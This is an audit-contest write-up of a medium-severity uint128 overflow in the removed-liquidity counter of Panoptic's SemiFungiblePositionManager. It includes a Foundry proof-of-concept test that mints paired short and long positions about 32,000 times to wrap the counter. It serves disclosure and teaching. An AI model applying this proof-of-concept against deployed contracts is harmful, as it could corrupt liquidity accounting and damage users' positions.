# Removed liquidity can overflow when calling SemiFungiblePositionManager.mintTokenizedPosition function

Unchecked `removedLiquidity += chunkLiquidity` in Panoptic's SFPM overflows uint128 after repeated short/long mints, corrupting liquidity accounting.

- Payout: Audit contest
- Severity: medium
- Program: Panoptic
- Found by: rbserver
- Disclosed: 2024-06-24
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-04-panoptic-findings/issues/363
- Library page: https://bugbountylibrary.com/r/c4%3A2024-04-panoptic%3AM-09
- Tags: area:web3 domain:web3 impact:integrity kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:source-review vuln:accounting-error

**Target:** SemiFungiblePositionManager.mintTokenizedPosition / _createLegInAMM
**Root cause:** The `unchecked { removedLiquidity += chunkLiquidity }` assumes removed liquidity can never exceed added liquidity, but repeatedly minting paired short and long positions accumulates removedLiquidity past uint128 max, wrapping it.
**Steps:**
1. Deploy/init USDC_WETH_30 pool and initializeAMMPool
2. Build shortTokenId (isLong=0) and longTokenId (isLong=1) with same poolId, width=4090, strike=0
3. Set psnSize = type(uint128).max / 70
4. Loop 32311 times: `sfpm.mintTokenizedPosition(shortTokenId, psnSize, MIN_TICK, MAX_TICK)` then same for longTokenId
5. Read `sfpm.getAccountLiquidity(...)` leftSlot; assert < uint128 max
6. Mint short then long once more; leftSlot now less than before, proving uint128 overflow
**How found:** Code review of the unchecked block and its comment claiming overflow is impossible; author reasoned that repeated short+long minting accumulates removedLiquidity without bound and wrote a Foundry PoC to confirm the wrap.
**Exploitation:** Not weaponized; requires ~32k paired mints to wrap removedLiquidity, after which burning the overflowed removed liquidity increases liquidity by less than it should, corrupting accounting.
**Insight:** When a comment justifies an `unchecked` block with an invariant ('can't remove more than we add'), verify the invariant holds across repeated state mutations, not just a single call — paired mint/burn cycles can accumulate a slot past its type width.

## Proof of concept (copied exactly from the original report)

**Foundry test demonstrating removed liquidity overflow**

```
function test_removedLiquidityOverflow() public {
        _initPool(0);

        _cacheWorldState(USDC_WETH_30);

        sfpm.initializeAMMPool(token0, token1, fee);

        int24 width = 4090;
        int24 strike = 0;

        populatePositionData(width, strike, 0, 0);

        uint128 psnSize = type(uint128).max / 70;

        TokenId shortTokenId = TokenId.wrap(0).addPoolId(poolId).addLeg(
            0,
            1,
            isWETH,
            0,
            0,
            0,
            strike,
            width
        );

        TokenId longTokenId = TokenId.wrap(0).addPoolId(poolId).addLeg(
            0,
            1,
            isWETH,
            1,
            0,
            0,
            strike,
            width
        );

        // repeatedly mint contracts of the short and long positions
        for (uint256 i = 0; i < 32311; i++) {
            sfpm.mintTokenizedPosition(
                shortTokenId,
                psnSize,
                TickMath.MIN_TICK,
                TickMath.MAX_TICK
            );

            sfpm.mintTokenizedPosition(
                longTokenId,
                psnSize,
                TickMath.MIN_TICK,
                TickMath.MAX_TICK
            );
        }

        accountLiquidities = sfpm.getAccountLiquidity(
            address(USDC_WETH_30),
            Alice,
            0,
            tickLower,
            tickUpper
        );

        // at this moment, the removed liquidity does not overflow uint128 yet
        uint128 accountLiquidities_leftSlot_before_overflow = accountLiquidities.leftSlot();
        assertLt(accountLiquidities_leftSlot_before_overflow, type(uint128).max);

        // mint contracts of the short and long positions for one more time
        sfpm.mintTokenizedPosition(
            shortTokenId,
            psnSize,
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        sfpm.mintTokenizedPosition(
            longTokenId,
            psnSize,
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        accountLiquidities = sfpm.getAccountLiquidity(
            address(USDC_WETH_30),
            Alice,
            0,
            tickLower,
            tickUpper
        );

        // the removed liquidity has overflowed uint128 since it is now less than its previous value
        assertLt(accountLiquidities.leftSlot(), accountLiquidities_leftSlot_before_overflow);
    }
```

